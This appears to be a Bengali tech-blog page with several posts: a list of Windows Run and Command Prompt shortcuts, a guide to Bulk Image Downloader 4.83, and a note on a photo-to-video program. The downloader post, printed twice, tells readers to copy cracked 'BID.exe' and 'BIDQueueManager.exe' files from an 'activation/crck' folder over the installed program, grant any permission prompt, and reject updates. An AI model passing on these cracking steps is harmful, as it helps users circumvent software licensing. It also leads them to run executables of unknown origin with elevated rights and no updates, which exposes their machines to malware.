আজ আমি আপনাদের কম্পিউটার এর "command Prompt" এই কিছু দরকারি কমান্ড দিব। আপনারা অনেকই হয়তো যানেন, আবার অনেক এ হয়েত যানেন না। যারা যানেন না এই পোস্ট তাদের জন্য।
কম্পিউটার এর দ্রুত চালনা করার জন্য আপনি এই অপশন টি ব্যাবহার করতে পারেন।
- cmd - Command Prompt অপশনটি চালু করার জন্য।
- যদি আপনি আপনার কম্পিউটার এর লোকাল সিকিউরিটি তে চান তাহলে command Prompt গিয়ে এই কোড টি লিখুন “secpol.msc” ।
- আপনি জদি কীবোর্ড এর সেটিং এ যেতে চান তাহলে লিখুন “control keyboard” এই কোডটি ।
- আপনি আপনার কম্পিউটার এর আই পি রিনিউ করতে এই কোড লিখুন - ipconfig/renew ।
- ipconfig/release - আপনার কম্পিউটার এর আই পি কনফিগারেশন বাদ দেয়ার জন্য এই কোড টি।
- ipconfig/flushdns আপনার DNS এর cache মুচে পেলতে এই কোড টি লিখুন।
ipconfig/displaydns এই কোড টি DNS সেটিং যানার জন্য । - ipconfig/all আপনার কম্পিউটার এর আই পি কনফিগারেশন দেখতে চাইলে এই কোড টি লিখুন।
- Inetcpl.cpl - আপনার কম্পিউটার এর ইন্টারনেট properties দেখতে চাইলে ওই কোড টি লিখুন।
- IExpress> IExpress এর কেবল ফাইল করতে এই কোড টি লিখুন।
- Joy.cpl - গেম কন্ট্রোলার এর জন্য এই কোড টি।
- fonts - Windows fonts folder এ যেতে চাইলে এই কোড টি ব্যাবহার করুণ।
- আপনি যদি আপনার কম্পিউটার এর ফোল্ডার অফসন এ যেতে চান, তাহলে এই কোড টি ব্যাবহার করুণ - control folders ।
- sigverif - আপনার Verification of signatures ফাইল টি দেখতে এই কোড টি।
- eventvwr.msc - আপনার কম্পিউটার এর ইভেন্ট ভিউয়ার দেখতে এই কোড টি।
- control color - আপনার ডিসপ্লে এর Appearance properties দেখতে এই কোড টি।
- control desktop - আপনার কম্পিউটার এর Display properties দেখতে এই কোড টি।
- diskpart - আপনার কম্পিউটার এর Partition manager দেখুন এই কোড এর মাধ্যমে।
- Diskmgmt.msc - কম্পিউটার এর Disk Management দেখতে।
- Dxdiag - আপনার কম্পিউটার এর যাবতীয় কনফিগারেশন যানার জন্য এই কোড টি।
- cleanmgr - আপনার হার্ডডিস্ক এর Disk cleanup দেখার জন্য এই কোড টি ব্যাবহার করুণ।
- devmgmt.msc - আপনার কম্পিউটার এর Device Manager এ যাওয়ার জন্য এই কোড টি ব্যাবহার করুণ।
- ddeshare - আপনার কম্পিউটার নেটওয়ার্ক এ DDE active sharing করার জন্য।
- compmgmt.msc - Computer Management এ যাওয়ার জন্য এই কোড টি ।
- dcomcnfg - Service components এর জন্য।
- chkdsk - Checking Disk এর জন্য ।
- charmap - Character গুলো দেখার জন্য।
- certmgr.msc - Certificate Manager
- calc - Calculator এর জন্য ।
- fsquirt - Bluetooth file transfer এর জন্য।
- wuaucpl.cpl - Automatic Windows updates অপশন এ যেতে এই কোড টি।
- control admintools> Administrative tools এর জন্য।
- appwiz.cpl - Add/Remove Programs এ যেতে।
- hdwwiz.cpl - Add Hardware এর জন্য।
- access.cpl - Accessibility Options এ যেতে।
- logoff - Log Off computer এর জন্য।
- winchat - Microsoft chat এর জন্য।
- control mouse - Properties of mouse এ যেতে।
- control NetConnect - Network Connections এ যেতে।
- netsetup.cpl - Network Configuration করতে।
- packager - Manage links এর জন্য।
- OSK - On-Screen keyboard দেখার জন্য।
- perfmon.msc - Monitor performance দেখার জন্য এই কোড টি।
- powercfg.cpl - Power Options টি দেখার জন্য এই কোড টি।
- control printers - Printer and Fax properties দেখার জন্য।
- regedit - Registry Editor ওপেন করার জন্য।
- mstsc - Remote Desktop Connection সেটিং করার জন্য।
- ntmsmgr.msc - Removable Storage দেখার জন্য বা খোলার জন্য।
- sticpl.cpl - Scanners and Camera কানেকশন দেখার জন্য এবং ওপেন করার জন্য।
- control schedtasks - Scheduled Tasks দেখার জন্য।
- wscui.cpl - Security Center এ যাওয়ার জন্য।
- shutdown - Turn off your computer (আপনার কম্পিউটার টি বন্ধ করার জন্য এই কোড টি ব্যাবহার করুণ। )
- mmsys.cpl - Sounds and Audio Devices গুলো চেক করার জন্য।
- sysedit - System Configuration Editor এ যাওয়ার জন্য এই কোড টি ব্যাবহার করুণ।
msconfig - System Configuration Utility ওপেন করার জন্য। - taskmgr - Task Manager এ যাওয়ার জন্য।
- nusrmgr.cpl - Users Accounts এ যাওয়ার জন্য।
- sysdm.cpl - System Properties দেখার জন্য।
- write - Microsoft Wordpad খোলার জন্য।
- timedate.cpl - Date and Time Properties যানার জন্য।
যাদের ছবি ডাউনলোড করার শখ আছে বিভিন্ন ওয়েব সাইট থেকে তাদের জন্য ছোট
এবং অত্যান্ত দারুন একটি প্রোগ্রাম হল বাল্ক ইমেজ ডাউনলোডার। এই টুলস টির
সাহায্যে মাত্র তিন চারটি ক্লিক করেই ডাউনলোড করে নিতে পারেন একটি ওয়েব
পেইজ এর সমস্ত ছবি । আর হ্যা ডাউনলোড কৃত প্রত্যেক ছবি হবে ফুল সাইজ এবং
রেজুলেশন সমৃদ্ধ । কিভাবে ব্যাবহার করবেন তার ছোট একটি বিবরন দিয়ে দিব আর
বাকিটা আপনি ব্যাবহার করতে করতে শিখে যাবেন খুব দ্রুত, কারন এর ব্যাবহার
খুব সহজ ।
তাহলে চলুন শুরু করু ডাউনলোড করা থেকে । এখান থেকে ডাউনলোড করে নিন বাল্ক ইমেজ ডাউনলোডার 4.83 ভার্সন , চিন্তা করবেন না এর সাথে ফুল ভার্সন করার ফাইল দেওয়া আছ ।
ইন্সটল করা হয়ে গেলে প্রোগ্রামটি চালু করা থেকে বিরত থাকুন, আর যদি ওপেন হয়েই যায় তাহলে কষ্ট করে ক্লজ করে দিন ।
এরপর চলে আসুন ডাউনলোড করা activation/crck ফোল্ডারে , এর ভিতর দেখুন "BID.exe" এবং "BIDQueueManager.exe" নামে দুটি ফাইল আছে । এই ফাইল দুটোকে কপি করুন তারপর চলে যান আপনার ইন্সটলেশন ফোল্ডারে । স্বাভাবিক ভাবে যদি ইন্সটল করে থাকেন তাহলে আপনার ইন্সটলেশন ড্রাইভ হবে c । আর সম্পূর্ণ পাথ হবে এরকম -- > c/programs files/Bulk Image Downloader
এখন bulk image downloader folder টা ওপেন করুন আর আগের কপি করা ফাইল গুলো এখানে paste করে দিন । কোন warning দেখালে overwrite/replace করুন। আর অনুমতি চাইলে দিয়ে দিন । ব্যাস activation এর কাহিনী এখানেই শেষ । কোন সময় আপডেট চাইলে বাতিল করে দিন ।


১. ব্রাউজারের এড্রেসবার থেকে লিঙ্ক কপি করুন(যে পোষ্ট বা পেজের ছবি নামাতে সেই লিঙ্ক )
২. কপি করা লিঙ্ক এখান ভরে দিন (paste করে দিন )
৩. এই বাটনে ক্লিক করুন ছবি গুলো লোড করার জন্য । এখানে ক্লিক করার পর নিচের বক্সে ছবি গুলো দেখতে পারবেন। যদি কোন ছবি ডাউনলোড করতে না চান তাহলে সেই ছবিতে ক্লিক করে সিলেক্ট করুন তারপর delete key চাপুন ।
৪. ছবি গুলো ডাউনলোড হওয়ার পর কোথায় সেভ করবেন সেটা দেখিয়ে দিন ।
5. এখন এখানে ক্লিক করুন, তারপর ইন্টারনেট স্পিড এর উপর ছেড়ে দিন কতক্ষন লাগবে ডাউনলোড হতে ।
তাহলে চলুন শুরু করু ডাউনলোড করা থেকে । এখান থেকে ডাউনলোড করে নিন বাল্ক ইমেজ ডাউনলোডার 4.83 ভার্সন , চিন্তা করবেন না এর সাথে ফুল ভার্সন করার ফাইল দেওয়া আছ ।
ইন্সটলেশন এবং এক্টিভেশন
এখন আসি ইন্সটলেশন এবং এক্টিভেশন এ । মোটেও কঠিন কিছু নয় । স্বাভাবিক নিয়মে ডাউনলোড করার পর এক্সট্রাক্ট করে নিন । তারপর bid 4 83 setup.exe এই নামে যে ফাইলটা আছে সেটাকে ডাবল ক্লিক করার মাধ্যমে ইন্সটলেশন শুরু করুন এবং শেষ করুন ।ইন্সটল করা হয়ে গেলে প্রোগ্রামটি চালু করা থেকে বিরত থাকুন, আর যদি ওপেন হয়েই যায় তাহলে কষ্ট করে ক্লজ করে দিন ।
এরপর চলে আসুন ডাউনলোড করা activation/crck ফোল্ডারে , এর ভিতর দেখুন "BID.exe" এবং "BIDQueueManager.exe" নামে দুটি ফাইল আছে । এই ফাইল দুটোকে কপি করুন তারপর চলে যান আপনার ইন্সটলেশন ফোল্ডারে । স্বাভাবিক ভাবে যদি ইন্সটল করে থাকেন তাহলে আপনার ইন্সটলেশন ড্রাইভ হবে c । আর সম্পূর্ণ পাথ হবে এরকম -- > c/programs files/Bulk Image Downloader
এখন bulk image downloader folder টা ওপেন করুন আর আগের কপি করা ফাইল গুলো এখানে paste করে দিন । কোন warning দেখালে overwrite/replace করুন। আর অনুমতি চাইলে দিয়ে দিন । ব্যাস activation এর কাহিনী এখানেই শেষ । কোন সময় আপডেট চাইলে বাতিল করে দিন ।
এখন চলুন দেখি ব্যাবহার করবেন কিভাবে ।
নিচের ছবিটা আগে দেখে নিন। এখানে এক থেকে পাচ পর্যন্ত নাম্বার দেওয়া আছে । আর ছবি গুলোর নিচে নাম্বার গুলোর কাজ কি সেটা লিখে দেওয়া আছে । আসা করি বুঝতে সমস্যা হবে না১. ব্রাউজারের এড্রেসবার থেকে লিঙ্ক কপি করুন(যে পোষ্ট বা পেজের ছবি নামাতে সেই লিঙ্ক )
২. কপি করা লিঙ্ক এখান ভরে দিন (paste করে দিন )
৩. এই বাটনে ক্লিক করুন ছবি গুলো লোড করার জন্য । এখানে ক্লিক করার পর নিচের বক্সে ছবি গুলো দেখতে পারবেন। যদি কোন ছবি ডাউনলোড করতে না চান তাহলে সেই ছবিতে ক্লিক করে সিলেক্ট করুন তারপর delete key চাপুন ।
৪. ছবি গুলো ডাউনলোড হওয়ার পর কোথায় সেভ করবেন সেটা দেখিয়ে দিন ।
5. এখন এখানে ক্লিক করুন, তারপর ইন্টারনেট স্পিড এর উপর ছেড়ে দিন কতক্ষন লাগবে ডাউনলোড হতে ।
আমরা সাধারণত ছবি থেকে ভিডিও তৈরি করার জন্য অ্যাডোবি প্রিমিয়ার প্রো, ইউলিড মিডিয়া স্টুডিও প্রো Video Studio, ইত্যাদি সফটওয়্যার ব্যবহার করে থাকি। অস্বীকার করার উপায় নেই এসব সফটওয়্যার ছাড়া উচ্চমানের ভিডিও এডিটিং করলে খুব একটা ভালো হবে না। কিন্তু এসব সফট কিন্তু যাদের পিসি লো কনফিগারেশন তাদের কাজ করতে বারোটা বাজবে। আর যাদের পিসির কনফিগারেশন ঠিক আছে তারা পারবে আর আমার মত যাদের পিসি লো কনফিগারেশন তাদের জন্য একটা সফট পেলাম গুগলে মামাকে কাজে লাগিয়ে, ব্যবহার করে দেখলাম খারাপ না, তাই সকলের মাঝে এসে শেয়ার করা, আশা করি ভালই লাগবে।
প্রথমে এখান থেকে সফট টি ডাউনলোড করে নিন, তারপর অন্যান্য সফট এর ন্যায় চালু করুন।
এবার + বাটনে ক্লিক করে আপনার ছবিগুলো দেখিয়ে দিন।
আর দেখানো জায়গায় ক্লিক করে আপনার পছন্দের গানটি দিয়ে দিন। আর Effect বক্স থেকে এক একটি ছবির জন্য এক এক রকম ইফেক্ট সিলেক্ট করুন।
সব কিছু ঠিক থাকলে এবার Start বাটনে ক্লিক করুন।
তাহলে নিচের মত আসবে এবার আপনার পছন্দের ভিডি ফরম্যাট এবং ভিডি দেখতে কেমন হয়েছে দেখুন।
সব কিছু ঠিক থাকলে অবশেষে Start ক্লিক করুন। ব্যাস তৈরি হয়ে গেল ছবি থেকে ভিডিও এবার দেখুন কেমন হয়েছে।
Subscribe to:
Posts (Atom)
